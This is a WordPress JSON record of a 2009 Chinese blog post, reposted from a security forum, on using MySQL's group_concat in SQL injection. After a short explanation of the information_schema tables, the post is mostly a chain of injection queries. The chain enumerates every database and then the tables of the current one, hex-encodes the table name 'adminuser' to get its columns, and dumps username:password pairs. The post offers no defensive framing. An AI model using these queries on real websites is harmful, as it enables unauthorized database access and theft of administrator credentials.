{"id":216,"date":"2009-08-24T18:58:54","date_gmt":"2009-08-24T18:58:54","guid":{"rendered":""},"modified":"2011-11-18T17:01:54","modified_gmt":"2011-11-18T09:01:54","slug":"216","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/216.html","title":{"rendered":"mysql 5\u6ce8\u5165\u4e2dgroup_concat\u7684\u4f7f\u7528"},"content":{"rendered":"<p><span style=\"font-size: x-small;\">\u6587\u7ae0\u4f5c\u8005\uff1aenqlee<br \/>\n\u6765\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u6e90\uff1a<\/span><a href=\"https:\/\/forum.eviloctal.com\"><span style=\"font-size: x-small;\">https:\/\/forum.eviloctal.com<\/span><\/a><\/p>\n<p><span style=\"font-size: x-small;\">mysql\u4e2d\u7684information_schema \u7ed3\u6784\u7528\u6765\u5b58\u50a8\u6570\u636e\u5e93\u7cfb\u7edf\u4fe1\u606f <\/span><\/p>\n<p>information_schema \u7ed3\u6784\u4e2d\u8fd9\u51e0\u4e2a\u8868\u5b58\u50a8\u7684\u4fe1\u606f\uff0c\u5728\u6ce8\u5c04\u4e2d\u53ef\u4ee5\u7528\u5230\u7684\u51e0\u4e2a\u8868\u3002<\/p>\n<p>| SCHEMATA \u2015\u2015&gt;\u5b58\u50a8\u6570\u636e\u5e93\u540d\u7684\uff0c<\/p>\n<p>|\u2014\u2014&gt;\u5173\u952e\u5b57\u6bb5\uff1aSCHEMA_NAME\uff0c\u8868\u793a\u6570\u636e\u5e93\u540d\u79f0<\/p>\n<p>| TABLES \u2015\u2015&gt;\u5b58\u50a8\u8868\u540d\u7684<\/p>\n<p>|\u2014\u2014&gt;\u5173\u952e\u5b57\u6bb5\uff1aTABLE_SCHEMA\u8868\u793a\u8868\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d\u79f0\uff1b<\/p>\n<p>TABLE_NAME\u8868\u793a\u8868\u7684\u540d\u79f0<\/p>\n<p>| COLUMNS \u2015\u2015&gt;\u5b58\u50a8\u5b57\u6bb5\u540d\u7684<\/p>\n<p>|\u2014\u2014&gt;\u5173\u952e\u5b57\u6bb5\uff1aTABLE_SCHEMA\u8868\u793a\u8868\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d\u79f0\uff1b<\/p>\n<p>TABLE_NAME\u8868\u793a\u6240\u5c5e\u7684\u8868\u7684\u540d\u79f0<\/p>\n<p>COLUMN_NAME\u8868\u793a\u5b57\u6bb5\u540d<\/p>\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u53ea\u8981\u901a\u8fc7\u6ce8\u5c04\u70b9\u6784\u9020\u67e5\u8be2\u8bed\u53e5\u904d\u76f8\u5173\u5b57\u6bb5\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230\u6211\u4eec\u60f3\u8981\u7684\u4fe1\u606f\u4e86\u3002<\/p>\n<p>\u7206\u6240\u6709\u6570\u636e\u540d<\/p>\n<p>select group_concat(schemata) from information_schema.schemata<\/p>\n<p>\u5f97\u5230\u5f53\u524d\u5e93\u7684\u6240\u6709\u8868<\/p>\n<p>select group_concat(table_name) from information_schema.tables where table_schema=database()<\/p>\n<p>\u5f97\u5230\u8868\u4e2d\u7684\u5b57\u6bb5\u540d \u5c06\u654f\u611f\u7684\u8868\u8fdb\u884c16\u8fdb\u5236\u7f16\u7801adminuser=0x61646D696E75736572<\/p>\n<p>select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572<\/p>\n<p>\u5f97\u5230\u5b57\u6bb5\u5177\u4f53\u7684\u503c<\/p>\n<p>select group_concat(username,0x3a,password) from adminuser<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u4f5c\u8005\uff1aenqlee \u6765\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u6e90\uff1ahttps:\/\/forum.evil &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/216.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[99],"class_list":["post-216","post","type-post","status-publish","format-standard","hentry","tag-mysql"],"views":788,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=216"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/216\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=216"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=216"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}